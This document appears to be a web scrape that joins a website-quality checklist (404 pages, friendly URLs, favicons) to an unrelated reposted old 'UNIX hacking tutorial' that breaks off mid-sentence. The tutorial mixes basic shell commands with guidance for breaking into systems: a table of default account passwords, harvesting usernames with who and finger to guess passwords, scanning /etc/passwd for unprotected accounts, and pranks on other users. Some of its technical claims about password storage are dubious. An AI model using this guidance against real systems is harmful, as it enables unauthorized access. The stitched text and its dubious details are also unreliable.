6.1 Does the site have a meaningful and helpful 404 error page that works from any depth in the site?
You've requested a page - either by typing a URL directly into the address bar or clicking on an out-of-date link and you've found yourself in the middle of cyberspace nowhere. A user-friendly website will give you a helping hand while many others will simply do nothing, relying on the browser's built-in ability to explain what the problem is.
CODE
http://www.alistapart.com/articles/perfect404/

6.2 Does the site use friendly URLs?
Most search engines (with a few exceptions - namely Google) will not index any pages that have a question mark or other character (like an ampersand or equals sign) in the URL... what good is a site if no one can find it?
CODE
http://www.sitepoint.com/article/search-engine-friendly-urls

One of the worst elements of the web from a user interface standpoint is the URL. However, if they're short, logical, and self-correcting, URLs can be acceptably usable
CODE
http://www.merges.net/theory/20010305.html

More:
CODE
http://www.sitepoint.com/article/search-engine-friendly-urls

CODE
http://www.websitegoodies.com/article/32

CODE
http://www.merges.net/theory/20010305.html

6.3 Does the site's URL work without "www"?
While this is not critical, and in some cases is not even possible, it is always good to give people the choice of both options. If a user types your domain name without the www and gets no site, this could disadvantage both the user and you.
6.4 Does the site have a favicon?

A Favicon is a multi-resolution image included on nearly all professionally developed sites. The Favicon allows the webmaster to further promote their site, and to create a more customized appearance within a visitor's browser.
CODE
http://www.favicon.com/

Favicons are definitely not critical. However, if they are not present, they can cause 404 errors in your logs (site statistics). Browsers like IE will request them from the server when a site is bookmarked. If a favicon isn't available, a 404 error may be generated. Therefore, having a favicon could cut down on favicon specific 404 errors. The same is true of a 'robots.txt' file.

A UNIX Hacking Tutorial

2013-01-31T00:48:00.001+07:00

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+ UNIX : A Hacking Tutorial +
+ By: Khmermega +
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

----------------------
o Intent of this file:
----------------------

This phile is geared as an UNIX tutorial at first, to let you get more
familiar with the operating system. UNIX is just an operating system, as
is MS-DOS, AppleDOS, AmigaDOS, and others. UNIX happens to be a multi-user-
multi-tasking system, thus bringing a need for security not found on MSDOS,
AppleDOS, etc. This phile will hopefully teach the beginners who do not have
a clue about how to use UNIX a good start, and may hopefully teach old pros
something they didn't know before. This file deals with UNIX SYSTEM V and
its variants. When I talk about unix, its usually about SYSTEM V (rel 3.2).

Where Can I be found? I have no Idea. The Boards today are going Up'n'Down
so fast, 3 days after you read this file, if I put a BBS in it where you could
reach me, it may be down! Just look for me.

I can be reached on DarkWood Castle [If it goes back up], but that board
is hard to get access on, but I decided to mention it anyway.

I *COULD* Have been reached on jolnet, but......

This file may have some bad spelling, etc, or discrepencies since it was
spread out over a long time of writing, because of school, work, Girl friend,
etc. Please, no flames. If you don't like this file, don't keep it.

This is distributed under PHAZE Inc. Here are the members (and ex ones)
The Dark Pawn
The Data Wizard
Sir Hackalot (Me)
Taxi (ummm.. Busted)
Lancia (Busted)
The British Knight (Busted)
The Living Pharoah (Busted)

_____________________________________________________________________________

-------------
o Dedication:
-------------
This phile is dedicated to the members of LOD that were raided in
Atlanta. The members that got busted were very good hackers, especially
The Prophet. Good luck to you guys, and I hope you show up again somewhere.
_____________________________________________________________________________

------------------------
o A little History, etc:
------------------------

UNIX, of course, was invented By AT&T in the 60's somewhere, to be
"a programmer's operating system." While that goal was probably not reached
when they first invented UNIX, it seems that now, UNIX is a programmer's OS.
UNIX, as I have said before, is a multi-tasking/multi-user OS. It is also
written in C, or at least large parts of it are, thus making it a portable
operating system. We know that MSDOS corresponds to IBM/clone machines,
right? Well, this is not the case with UNIX. We do not associate it with
any one computer since it has been adapted for many, and there are many
UNIX variants [that is, UNIX modified by a vendor, or such]. Some AT&T
computers run it, and also some run MSDOS [AT&T 6300]. The SUN workstations
run SunOS, a UNIX variant, and some VAX computers run Ultrix, a VAX version
of UNIX. Remember, no matter what the name of the operating system is [BSD,
UNIX,SunOS,Ultrix,Xenix, etc.], they still have a lot in common, such as the
commands the operating system uses. Some variants may have features others
do not, but they are basically similar in that they have a lot of the same
commands/datafiles. When someone tries to tell you that UNIX goes along with
a certain type of computer, they may be right, but remember, some computers
have more than one Operating system. For instance, one person may tell you
that UNIX is to a VAX as MSDOS is to IBM/clones. That is untrue, and the
only reason I stated that, was because I have seen many messages with info
/comparisons in it like that, which confuse users when they see a VAX running
VMS.
____________________________________________________________________________

-------------------------------
o Identifying a Unix/Logging in
-------------------------------

From now on, I will be referring to all the UNIX variants/etc as
UNIX, so when I say something about UNIX, it generally means all the variants
(Unix System V variants that is: BSD, SunOS, Ultrix, Xenix, etc.), unless
I state a variant in particular.

Okay. Now its time for me to tell you how a unix USUALLY greets you.
First, when you call up a UNIX, or connect to one however you do, you will
usually get this prompt:

login:

Ok. Thats all fine and dandy. That means that this is PROBABLY a Unix,
although there are BBS's that can mimic the login procedure of an OS
(Operating System), thus making some people believe its a Unix. [Hah!].
Some Unixes will tell you what they are or give you a message before a
login: prompt, as such:

Welcome to SHUnix. Please log in.

login:

Or something like that. Public access Unixes [like Public BBSs] will
tell you how to logon if you are a new users. Unfortunatly, this phile is
not about public access Unixes, but I will talk about them briefly later, as
a UUCP/UseNet/Bitnet address for mail.
OK. You've gotten to the login prompt! Now, what you need to do
here is enter in a valid account. An Account usually consists of 8 characters
or less. After you enter in an account, you will probably get a password
prompt of some sort. The prompts may vary, as the source code to the login
program is usually supplied with UNIX, or is readily available for free.
Well, The easiest thing I can say to do to login is basically this:
Get an account, or try the defaults. The defaults are ones that came with
the operating system, in standard form. The list of some of the Defaults
are as follows:

ACCOUNT PASSWORD
------- --------
root root - Rarely open to hackers
sys sys / system / bin
bin sys / bin
mountfsys mountfsys
adm adm
uucp uucp
nuucp anon
anon anon
user user
games games
install install
reboot * See Below
demo demo
umountfsys umountfsys
sync sync
admin admin
guest guest
daemon daemon

The accounts root, mountfsys, umountfsys, install, and sometimes sync are
root level accounts, meaning they have sysop power, or total power. Other
logins are just "user level" logins meaning they only have power over what
files/processes they own. I'll get into that later, in the file permissions
section. The REBOOT login is what as known as a command login, which just
simply doesn't let you into the operating system, but executes a program
assigned to it. It usually does just what it says, reboot the system. It
may not be standard on all UNIX systems, but I have seen it on UNISYS unixes
and also HP/UX systems [Hewlett Packard Unixes]. So far, these accounts have
not been passworded [reboot], which is real stupid, if you ask me.

COMMAND LOGINS:
---------------

There are "command logins", which, like reboot, execute a command then log
you off instead of letting you use the command interpreter. BSD is notorious
for having these, and concequently, so does MIT's computers. Here are some:

rwho - show who is online
finger - same
who - same

These are the most useful, since they will give the account names that are
online, thus showing you several accounts that actually exist.

Errors:
-------

When you get an invalid Account name / invalid password, or both, you will
get some kind of error. Usually it is the "login incorrect" message. When
the computer tells you that, you have done something wrong by either enterring
an invalid account name, or a valid account name, but invalid password. It
does not tell you which mistake you made, for obvious reasons. Also,
when you login incorrectly, the error log on the system gets updated, letting
the sysops(s) know something is amiss.

Another error is "Cannot change to home directory" or "Cannot Change
Directory." This means that no "home directory" which is essentially the
'root' directory for an account, which is the directory you start off in.
On DOS, you start in A:\ or C:\ or whatever, but in UNIX you start in
/homedirectory. [Note: The / is used in directories on UNIX, not a \ ].
Most systems will log you off after this, but some tell you that they will
put you in the root directory [ '/'].

Another error is "No Shell". This means that no "shell" was defined
for that particular account. The "shell" will be explained later. Some
systems will log you off after this message. Others will tell you that they
will use the regular shell, by saying "Using the bourne shell", or "Using sh"

-----------------------------
Accounts In General :
-----------------------------

This section is to hopefully describe to you the user structure
in the UNIX environment.
Ok, think of UNIX having two levels of security: absolute power,
or just a regular user. The ones that have absolute power are those users
at the root level. Ok, now is the time to think in numbers. Unix associates
numbers with account names. each account will have a number. Some will have
the same number. That number is the UID [user-id] of the account. the root
user id is 0. Any account that has a user id of 0 will have root access.
Unix does not deal with account names (logins) but rather the number
associated with them. for instance, If my user-id is 50, and someone else's
is 50, with both have absolute power of each other, but no-one else.
_____________________________________________________________________________

---------------
Shells :
---------------

A shell is an executable program which loads and runs when a user
logs on, and is in the foreground. This "shell" can be any executable prog-
ram, and it is defined in the "passwd" file which is the userfile. Each
login can have a unique "shell". Ok. Now the shell that we usually will work
with is a command interpreter. A command interpreter is simply something
like MSDOS's COMMAND.COM, which processes commands, and sends them to the
kernel [operating system]. A shell can be anything, as I said before,
but the one you want to have is a command interpreter. Here are the
usual shells you will find:

sh - This is the bourne shell. It is your basic Unix "COMMAND.COM". It has
a "script" language, as do most of the command interpreters on Unix sys-
tems.

csh - This is the "C" shell, which will allow you to enter "C" like commands.
ksh - this is the korn shell. Just another command interpreter.
tcsh - this is one, which is used at MIT I believe. Allows command editing.
vsh - visual shell. It is a menu driven deal. Sorta like.. Windows for DOS
rsh - restricted shell OR remote shell. Both Explained later.
There are many others, including "homemade " shells, which are
programs written by the owner of a unix, or for a specific unix, and they
are not standard. Remember, the shell is just the program you get to use
and when it is done executing, you get logged off. A good example of a
homemade shell is on Eskimo North, a public access Unix. The shell
is called "Esh", and it is just something like a one-key-press BBS,
but hey, its still a shell. The Number to eskimo north is 206-387-3637.
[206-For-Ever]. If you call there, send Glitch Lots of mail.
Several companies use Word Processors, databases, and other things
as a user shell, to prevent abuse, and make life easier for unskilled computer
operators. Several Medical Hospitals use this kind of shell in Georgia,
and fortunatly, these second rate programs leave major holes in Unix.
Also, a BBS can be run as a shell. Check out Jolnet [312]-301-2100, they
give you a choice between a command interpreter, or a BBS as a shell.
WHen you have a command interpreter, the prompt is usually a:
$
when you are a root user the prompt is usually a:
#
The variable, PS1, can be set to hold a prompt.
For instance, if PS1 is "HI:", your prompt will be:
HI:

_____________________________________________________________________________

------------------------
SPecial Characters, ETc:
------------------------

Control-D : End of file. When using mail or a text editor, this will end
the message or text file. If you are in the shell and hit control-d you get
logged off.

Control-J: On some systems, this is like the enter key.
@ : Is sometimes a "null"
? : This is a wildcard. This can represent a letter. If you specified
something at the command line like "b?b" Unix would look for bob,bib,bub,
and every other letter/number between a-z, 0-9.
* : this can represent any number of characters. If you specified a "hi*"
it would use "hit", him, hiiii, hiya, and ANYTHING that starts with
hi. "H*l" could by hill, hull, hl, and anything that starts with an
H and ends with an L.

[] - The specifies a range. if i did b[o,u,i]b unix would think: bib,bub,bob
if i did: b[a-d]b unix would think: bab,bbb,bcb,bdb. Get the idea? The
[], ?, and * are usually used with copy, deleting files, and directory
listings.

EVERYTHING in Unix is CASE sensitive. This means "Hill" and "hill" are not
the same thing. This allows for many files to be able to be stored, since
"Hill" "hill" "hIll" "hiLl", etc. can be different files. So, when using
the [] stuff, you have to specify capital letters if any files you are dealing
with has capital letters. Most everything is lower case though.

----------------
Commands to use:
----------------

Now, I will rundown some of the useful commands of Unix. I will act
as if I were typing in the actual command from a prompt.

ls - this is to get a directory. With no arguments, it will just print out
file names in either one column or multi-column output, depending on the
ls program you have access to.

example:
$ ls
hithere
runme
note.text
src
$
the -l switch will give you extended info on the files.
$ ls -l
rwx--x--x sirhack sirh 10990 runme
and so on....

the "rwx--x--x" is the file permission. [Explained Later]
the "sirhack sirh" is the owner of the file/group the file is in.
sirhack = owner, sirh = user-group the file is in [explained later]
the 10990 is the size of the file in bytes.
"runme" is the file name.
The format varies, but you should have the general idea.

cat - this types out a file onto the screen. should be used on text files.
only use it with binary files to make a user mad [explained later]
ex:
$ cat note.txt
This is a sample text file!
$

cd - change directory . You do it like this: cd /dir/dir1/dir2/dirn.
the dir1/etc.... describes the directory name. Say I want to get
to the root directory.
ex:
$ cd /
*ok, I'm there.*
$ ls
bin
sys
etc
temp
work
usr
all of the above are directories, lets say.
$ cd /usr
$ ls
sirhack
datawiz
prophet
src
violence
par
phiber
scythian
$ cd /usr/sirhack
$ ls
hithere
runme
note.text
src
$
ok, now, you do not have to enter the full dir name. if you are in
a directory, and want to get into one that is right there [say "src"], you
can type "cd src" [no "/"]. Instead of typing "cd /usr/sirhack/src" from the
sirhack dir, you can type "cd src"

cp - this copies a file. syntax for it is "cp fromfile tofile"
$ cp runme runme2
$ ls
hithere
runme
note.text
src
runme2
Full pathnames can be included, as to copy it to another directory.
$ cp runme /usr/datwiz/runme

mv - this renames a file. syntax "mv oldname newname"
$ mv runme2 runit
$ ls
hithere
runme
note.text
src
runit
files can be renamed into other directories.
$ mv runit /usr/datwiz/run
$ ls
hithere
runme
note.text
src
$ ls /usr/datwiz
runme
run

pwd - gives current directory
$ pwd
/usr/sirhack
$ cd src
$ pwd
/usr/sirhack/src
$ cd ..
$ pwd
/usr/sirhack
[ the ".." means use the name one directory back. ]
$ cd ../datwiz
[translates to cd /usr/datwiz]
$ pwd
/usr/datwiz
$ cd $home
[goto home dir]
$ pwd
/usr/sirhack

rm - delete a file. syntax "rm filename" or "rm -r directory name"
$ rm note.text
$ ls
hithere
runme
src
$

write - chat with another user. Well, "write" to another user.
syntax: "write username"
$ write scythian
scythian has been notified
Hey Scy! What up??
Message from scythian on tty001 at 17:32
hey!
me: So, hows life?
scy: ok, I guess.
me: gotta go finish this text file.
scy: ok
me: control-D [to exit program]
$

who [w,who,whodo] - print who is online
$ who
login term logontime
scythian + tty001 17:20
phiberO + tty002 15:50
sirhack + tty003 17:21
datawiz - tty004 11:20
glitch - tty666 66:60
$
the "who" commands may vary in the information given. a "+" means
you can "write" to their terminal, a "-" means you cannot.

man - show a manual page entry. syntax "man command name" This is a help
program. If you wanted to know how to use... "who" you'd type
$ man who
WHO(1) xxx......
and it would tell you.

stty - set your terminal characteristics. You WILL have to do "man stty"
since each stty is different, it seems like.
an example would be:
$ stty -parenb
to make the data params N,8,1. A lot of Unixes operate at
e,7,1 by default.

sz,rz - send and recieve via zmodem
rx,sx - send / recieve via xmodem
rb,sb - send via batch ymodem. These 6 programs may or may not be on a unix.
umodem - send/recieve via umodem.
$ sz filename
ready to send...
$ rz filename
please send your file....
...etc..

ed - text editor. Usage "ed filename" to create a file that doesn't
exist, just enter in "ed filename"
some versions of ed will give you a prompt, such as "*" others will not
$ ed newtext
0
* a
This is line 1
This is line 2
[control-z]
* 1 [to see line one]
This is line 1
* a [keep adding]
This is line 3
[control-z]
*0a [add after line 0]
This is THE first line
[control-z]
1,4l
This is THE first line
This is line 1
This is line 2
This is line 3
* w
71
* q
$
The 71 is number of bytes written.
a = append
l = list
# = print line number
w - write
l fname = load fname
s fname = save to fname
w = write to current file
q = quit
mesg - turn write permissions on or off to your terminal (allow chat)
format "mesg y" or "mesg n"
cc - the C compiler. don't worry about this one right now.
chmod - change mode of a file. Change the access in other words.
syntax: "chmod mode filename"
$ chmod a+r newtext
Now everyone can read newtext.
a = all
r = read. This will be explained further in the File System section.

chown - change the owner of a file.
syntax: "chown owner filename"
$ chown scythian newtext
$
chgrp - change the group [explained later] of a file.
syntax: "chgrp group file"
$ chgrp root runme
$
finger - print out basic info on an account. Format: finger username
grep - search for patterns in a file. syntax: "grep pattern file"
$ grep 1 newtext
This is Line 1
$ grep THE newtext
This is THE first line
$ grep "THE line 1" newtext
$

mail - This is a very useful utility. Obviously, you already know what it
is by its name. There are several MAIL utilities, such as ELM, MUSH
and MSH, but the basic "mail" program is called "mail". The usage
is:
"mail username@address" or
"mail username"
or
"mail"
or "mail addr1!addr2!addr3!user"

"mail username@address" - This is used to send mail to someone on
another system, which is usually another UNIX, but some DOS machines and some
VAX machines can recieve Unix Mail. When you use "mail user@address" the
system you are on MUST have a "smart mailer" [known as smail], and must
have what we call system maps. The smart mailer will find the "adress" part
of the command and expand it into the full pathname usually. I could look
like this: mail phiber@optik
then look like this to the computer:

mail sys1!unisys!pacbell!sbell!sc1!att.com!sirhacksys!optik!phiber

Do not worry about it, I was merely explaining the principal of the thing.
Now, if there is no smart mailer online, you'll have to know the FULL path
name of the person you wish to mail to. For Instance, I want to mail to
.. phiber. I'd do this if there were no smart mailer:

$ mail sys!unisys!pacbell!sbell!sc1!att.com!sirhacksys!optik!phiber

Hey Guy. Whats up? Well, gotta go. Nice long message huh?
[control-D]
$
Then, when he got it, there would be about 20 lines of information, with
like a post mark from every system my message went thru, and the "from" line
would look like so:

From optik!sirhacksys!att.com!sc1!sbell!pacbell!unisys!sys!sirhack <Sir Hack>

Now, for local mailing, just type in "mail username" where username
is the login you want to send mail to. Then type in your message. Then
end it with a control-D.

To read YOUR mail, just type in mail. IE:

$ mail

From scythian ............
To sirhack ............
Subject: Well....

Arghhh!

?
The dots represent omitted crap. Each Mail program makes its own headings.
That ? is a prompt. At this prompt I can type:

d - delete
f username - forward to username
w fname - write message to a file named fname
s fname - save message with header into file
q - quit / update mail
x - quit, but don't change a thing
m username - mail to username
r - reply
[enter] - read next message
+ - go forward one message
- : go back one
h - print out message headers that are in your mailbox.

There are others, to see them, you'd usually hit '?'.

--------

If you send mail to someone not on your system, you will have to wait longer
for a reply, since it is just as a letter. A "postman" has to pick it up.
The system might call out, and use UUCP to transfer mail. Usually, uucp
accounts are no good to one, unless you have uucp available to intercept mail.

ps - process. This command allows you to see what you are actually doing
in memory. Everytime you run a program, it gets assigned a Process Id number
(PID), for accounting purposes, and so it can be tracked in memory, as
well as shut down by you, or root. usually, the first thing in a process
list given by "ps" is your shell name. Say I was logged in under sirhack,
using the shell "csh" and running "watch scythian". The watch program would
go into the background, meaning I'd still be able to do things while it was
running:
$ ps
PID TTY NAME
122 001 ksh
123 001 watch
$
That is a shortened PS. That is the default listing [a brief one].
The TTY column represents the "tty" [i/o device] that the process is being
run from. This is only useful really if you are using layers (don't worry)
or more than one person is logged in with the same account name. Now,
"ps -f" would give a full process listing on yourself, so instead of
seeing just plain ole "watch" you'd most likely see "watch scythian"

kill - kill a process. This is used to terminate a program in memory obvio-
ously. You can only kill processes you own [ones you started], unless you
are root, or your EUID is the same as the process you want to kill.
(Will explain euid later). If you kill the shell process, you are logged
off. By the same token, if you kill someone else's shell process, they
are logged off. So, if I said "kill 122" I would be logged off. However,
kill only sends a signal to UNIX telling it to kill off a process. If
you just use the syntax "kill pid" then UNIX kills the process WHEN it feels
like it, which may be never. So, you can specify urgency! Try "kill -num pid"
Kill -9 pid is a definite kill almost instantly. So if I did this:
$ kill 122
$ kill 123
$ ps
PID TTY NAME
122 001 ksh
123 001 watch
$ kill -9 123
[123]: killed
$ kill -9 122
garbage
NO CARRIER

Also, you can do "kill -1 0" to kill your shell process to log yourself off.
This is useful in scripts (explained later).

-------------------
Shell Programmin'
-------------------

Shell Programming is basically making a "script" file for the
standard shell, being sh, ksh, csh, or something on those lines. Its
like an MSDOS batch file, but more complex, and more Flexible.
This can be useful in one aspect of hacking.

First, lets get into variables. Variables obviously can be assigned
values. These values can be string values, or numberic values.

number=1

That would assign 1 to the variable named "number".

string=Hi There
or
string="Hi There"

Both would assign "Hi there" to a variable.

Using a variable is different though. When you wish to use a variable
you must procede it with a dollar ($) sign. These variables can
be used as arguments in programs. When I said that scripts are
like batch files, I meant it. You can enter in any name of a program
in a script file, and it will execute it. Here is a sample script.

counter=1
arg1="-uf"
arg2="scythian"

ps $arg1 $arg2

echo $counter

That script would translate to "ps -uf scythian" then would print
"1" after that was finished. ECHO prints something on the screen
whether it be numeric, or a string constant.

Other Commands / Examples:

read - reads someting into a variable. format : read variable . No dollar
sign is needed here! If I wwanted to get someone's name, I could
put:

echo "What is your name?"
read hisname
echo Hello $hisname

What is your name?
Sir Hackalot
Hello Sir Hackalot

Remember, read can read numeric values also.

trap - This can watch for someone to use the interrupt character. (Ctrl-c)
format: trap "command ; command ; command ; etc.."
Example:
trap "echo 'Noway!! You are not getting rid o me that easy' ; echo
'You gotta see this through!'"

Now, if I hit control-c during the script after this statement was
executed, I'd get:
Noway!! You are not getting rid of me that easy
You gotta see this through!

exit : format :exit [num] This exists the shell [quits] with return
code of num.

-----
CASE
-----

Case execution is like a menu choice deal. The format of the command
or structure is :
case variable in
1) command;
command;;
2) command;
command;
command;;
*) command;;
esac
Each part can have any number of commands. The last command however
must have a ";;". Take this menu:

echo "Please Choose:"
echo "(D)irectory (L)ogoff (S)hell"
read choice
case $choice in

D) echo "Doing Directory...";
ls -al ;;
L) echo Bye;
kill -1 0;;
S) exit;;
*) Echo "Error! Not a command";;
esac

The esac marks the end of a case function. It must be after the
LAST command.

Loops
-----

Ok, loops. There are two loop functins. the for loops, and the
repeat.

repeat looks like this: repeat something somethin1 somethin2
this would repeat a section of your script for each "something".
say i did this:
repeat scythian sirhack prophet

I may see "scythian" then sirhack then prophet on my screen.

The for loop is defined as "for variable in something
do
..
..
done"

an example:
for counter in 1 2 3
do
echo $counter
done

That would print out 1 then 2 then 3.

Using TEST
----------
The format: Test variable option variable

The optios are:
-eq =
-ne <> (not equal)
-gt >
-lt <
-ge >=
-le <=

for strings its: = for equal != for not equal.

If the condition is true, a zero is returned. Watch:

test 3 -eq 3

that would be test 3 = 3, and 0 would be returned.

EXPR
----

This is for numeric functions. You cannot simply type in
echo 4 + 5
and get an answer most of the time. you must say:
expr variable [or number] operator variable2 [or number]
the operators are:

+ add
- subtract
* multiply
/ divide
^ - power (on some systems)

example : expr 4 + 5
var = expr 4 + 5
var would hold 9.

On some systems, expr sometimes prints out a formula. I mean,
22+12 is not the same as 22 + 12. If you said expr 22+12 you
would see:
22+12
If you did expr 22 + 12 you'd see:
34

SYSTEM VARIABLES
----------------

These are variables used by the shell, and are usually set in the
system wide .profile [explained later].

HOME - location of your home directory.
PS1 - The prompt you are given. usually $ . On BSD its usually &
PATH - This is the search path for programs. When you type in a program
to be run, it is not in memory; it must be loaded off disk. Most commands
are not in Memory like MSDOS. If a program is on the search path, it may
be executed no matter where you are. If not, you must be in the directory
where the program is. A path is a set of directories basically, seperated by
":"'s. Here is a typical search path:

:/bin:/etc:/usr/lbin:$HOME:

When you tried to execute a program, Unix would look for it in /bin,
/etc, /usr/lbin, and your home directory, and if its not found, an error is
spewed out. It searches directories in ORDER of the path. SO if you had a
program named "sh" in your home directory, and typed in "sh", EVEN if
you were in your home dir, it would execute the one in /bin. So, you
must set your paths wisely. Public access Unixes do this for you, but systems
you may encounter may have no path set.

TERM - This is your terminal type. UNIX has a library of functions called
"CURSES" which can take advantage of any terminal, provided the escape
codes are found. You must have your term set to something if you run
screen oriented programs. The escape codes/names of terms are found
in a file called TERMCAP. Don't worry about that. just set your term
to ansi or vt100. CURSES will let you know if it cannot manipulate your
terminal emulation.

-------------------
The C compiler
-------------------

This Will be BRIEF. Why? Becuase if you want to learn C, go
buy a book. I don't have time to write another text file on
C, for it would be huge. Basically, most executables are programmed
in C. Source code files on unix are found as filename.c .
To compile one, type in "cc filename.c". Not all C programs
will compile, since they may depend on other files not there, or
are just modules. If you see a think called "makefile" you can
usually type in just "make" at the command prompt, and something
will be compiled, or be attempted to compile. When using make or
CC, it would be wise to use the background operand since
compiling sometimes takes for ever.
IE:
$ cc login.c&
[1234]
$
(The 1234 was the process # it got identified as).

_____________________________________________________________________________

---------------
The FILE SYSTEM
---------------

This is an instrumental part of UNIX. If you do not understand this
section, you'll never get the hang of hacking Unix, since a lot of Pranks
you can play, and things you can do to "raise your access" depend on it.

First, Let's start out by talking about the directory structure. It is
basically a Hiearchy file system, meaning, it starts out at a root directory
and expands, just as MSDOS, and possibly AmigaDos.

Here is a Directory Tree of sorts: (d) means directory

/ (root dir)
|
|--------------------|
bin (d) usr (d)
----^--------------------
| | |
sirhack(d) scythian (d) prophet (d)
|
src (d)

Now, this particular system contains the following directories:
/
/bin
/usr
/usr/sirhack
/usr/sirhack/src
/usr/scythian
/usr/prophet

Hopefully, you understood that part, and you should. Everything spawns from
the root directory.

o File Permissions!
------------------

Now, this is really the biggie. File Permissions. It is not that hard to
understand file permissions, but I will explain them deeply anyway.

OK, now you must think of user groups as well as user names. Everyone
belongs to a group. at the $ prompt, you could type in 'id' to see what
group you are in. Ok, groups are used to allow people access certain things,
instead of just having one person controlling/having access to certain files.
Remember also, that Unix looks at someone's UID to determine access, not
user name.

Ok. File permissions are not really that complicated. Each file has an owner
This OWNER is usually the one who creates the file, either by copying a file
or just by plain editing one. The program CHOWN can be used to give someone
ownership of a file. Remember that the owner of a file must be the one who
runs CHOWN, since he is the only one that can change the permissions of a file
Also, there is a group owner, which is basically the group that you were in
when the file was created. You would use chgrp to change the group a file is
in.

Now, Files can have Execute permissions, read permissions, or write permission.
If you have execute permission, you know that you can just type in the name
of that program at the command line, and it will execute. If you have read
permission on a file, you can obviously read the file, or do anything that
reads the file in, such as copying the file or cat[ing] it (Typing it).
If you do NOT have access to read a file, you can't do anything that requires
reading in the file. This is the same respect with write permission. Now,
all the permissions are arranged into 3 groups. The first is the owner's
permissions. He may have the permissions set for himself to read and execute
the file, but not write to it. This would keep him from deleting it.
The second group is the group permissions. Take an elongated directory
for an example:
$ ls -l runme
r-xrwxr-- sirhack root 10990 March 21 runme

ok. Now, "root" is the groupname this file is in. "sirhack" is the owner.
Now, if the group named 'root' has access to read, write and execute, they
could do just that. Say .. Scythian came across the file, and was in the root
user group. He could read write or execute the file. Now, say datawiz came
across it, but was in the "users" group. The group permissions would not
apply to him, meaning he would have no permissions, so he couldn't touch
the file, right? Sorta. There is a third group of permissions, and this is
the "other" group. This means that the permissions in the "other" group
apply to everyone but the owner, and the users in the same group as the file.
Look at the directory entry above. the r-x-rwxr-- is the permissions line.
The first three characters are the permissions for the owner (r-x). The
"r-x" translates to "Read and execute permissions, but no write permissions"
the second set of three, r-xRWXr-- (the ones in capital letters) are the group
permissions. Those three characters mean "Read, write, and execution allowed"
The 3rd set, r-xrwxR-- is the permissions for everyone else. It means
"Reading allowed, but nothing else". A directory would look something like
this:
$ ls -l
drwxr-xr-x sirhack root 342 March 11 src

A directory has a "d" at the beggining of the permissions line. Now, the
owner of the directory (sirhack) can read from the directory, write in the
directory, and execute programs from the directory. The root group and every-
one else can only read from the directory, and execute off the directory.
So, If I changed the directory to be executable only, this is
what it would look like:
$ chmod go-r
$ ls
drwx--x--x sirhack root 342 March 11 src

Now, if someone went into the directory besides "sirhack", they could only
execute programs in the directory. If they did an "ls" to get a directory
of src, when they were inside src, it would say "cannot read directory".
If there is a file that is readable in the directory, but the directory is
not readable, it is sometimes possible to read the file anyway.

If you do not have execute permissions in a directory, you won't be able to
execute anything in the directory, most of the time.

_____________________________________________________________________________

--------------
Hacking:
--------------
The first step in hacking a UNIX is to get into the operating system
by finding a valid account/password. The object of hacking is usually to
get root (full privileges), so if you're lucky enough to get in as root,
you need not read anymore of this hacking phile , and get into the
"Having Fun" Section. Hacking can also be just to get other's accounts also.

Getting IN
----------
The first thing to do is to GET IN to the Unix. I mean, get past
the login prompt. That is the very first thing. When you come across a UNIX,
sometimes it will identify itself by saying something like,
"Young INC. Company UNIX"

or Just
"Young Inc. Please login"

Here is where you try the defaults I listed. If you get in with those
you can get into the more advanced hacking (getting root). If you do something
wrong at login, you'll get the message
"login incorrect"
This was meant to confuse hackers, or keep the wondering. Why?
Well, you don't know if you've enterred an account that does not exist, or one
that does exist, and got the wrong password. If you login as root and it says
"Not on Console", you have a problem. You have to login as someone else,
and use SU to become root.

Now, this is where you have to think. If you cannot get in with a
default, you are obviously going to have to find something else to
login as. Some systems provide a good way to do this by allowing the use
of command logins. These are ones which simply execute a command, then
logoff. However, the commands they execute are usually useful. For instance
there are three common command logins that tell you who is online at the
present time. They are:
who
rwho
finger

If you ever successfully get one of these to work, you can write down
the usernames of those online, and try to logon as them. Lots of unsuspecting
users use there login name as their password. For instance, the user
"bob" may have a password named "bob" or "bob1". This, as you know, is
not smart, but they don't expect a hacking spree to be carried out on
them. They merely want to be able to login fast.
If a command login does not exist, or is not useful at all, you will
have to brainstorm. A good thing to try is to use the name of the unix
that it is identified as. For instance, Young INC's Unix may have an account
named "young"
Young, INC. Please Login.
login: young
UNIX SYSTEM V REL 3.2
(c)1984 AT&T..
..
..
..

Some unixes have an account open named "test". This is also a default,
but surprisingly enough, it is sometimes left open. It is good to try to
use it. Remember, brainstorming is the key to a unix that has no apparent
defaults open. Think of things that may go along with the Unix. type
in stuff like "info", "password", "dial", "bbs" and other things that
may pertain to the system. "att" is present on some machines also.

ONCE INSIDE -- SPECIAL FILES
----------------------------
There are several files that are very important to the UNIX
environment. They are as follows:

/etc/passwd - This is probably the most important file on a Unix. Why?
well, basically, it holds the valid usernames/passwords.
This is important since only those listed in the passwd
file can login, and even then some can't (will explain).
The format for the passwordfile is this:

username:password:UserID:GroupID:description(or real name):homedir:shell

Here are two sample entries:

sirhack:89fGc%^7&a,Ty:100:100:Sir Hackalot:/usr/sirhack:/bin/sh
demo::101:100:Test Account:/usr/demo:/usr/sh

In the first line, sirhack is a valid user. The second
field, however, is supposed to be a password, right? Well,
it is, but it's encrypted with the DES encryption standard.
the part that says "&a,Ty" may include a date after the comma
(Ty) that tells unix when the password expires. Yes, the
date is encrypted into two alphanumeric characters (Ty).

In the Second example, the demo account has no password.
so at Login, you could type in:

login: demo
UNIX system V
(c)1984 AT&T
..
..

But with sirhack, you'd have to enter a password. Now,
the password file is great, since a lot of times, you;ll
be able to browse through it to look for unpassworded
accounts. Remember that some accounts can be restricted
from logging in, as such:

bin:*:2:2:binaccount:/bin:/bin/sh

The '*' means you won't be able to login with it. Your
only hope would be to run an SUID shell (explained later).

A note about the DES encryption: each unix makes its own unique
"keyword" to base encryption off of. Most of the time its just random letters
and numbers. Its chosen at installation time by the operating system.
Now, decrypting DES encrypted things ain't easy. Its pretty much
impossible. Especially decrypting the password file (decrypting the password
field within the password file to be exact). Always beware a hacker who
says he decrypted a password file. He's full of shit. Passwords are
never decrypted on unix, but rather, a system call is made to a function
called "crypt" from within the C language, and the string you enter as
the password gets encrypted, and compared to the encrypted password. If
they match, you're in. Now, there are password hackers, but they donot
decrypt the password file, but rather, encrypt words from a dictionary
and try them against every account (by crypting/comparing) until it finds
a match (later on!). Remember, few, if none, have decrypted the password
file successfuly.

/etc/group - This file contains The valid groups. The group file is usually
defined as this:
groupname:password:groupid:users in group

Once again, passwords are encrypted here too. If you see a blank
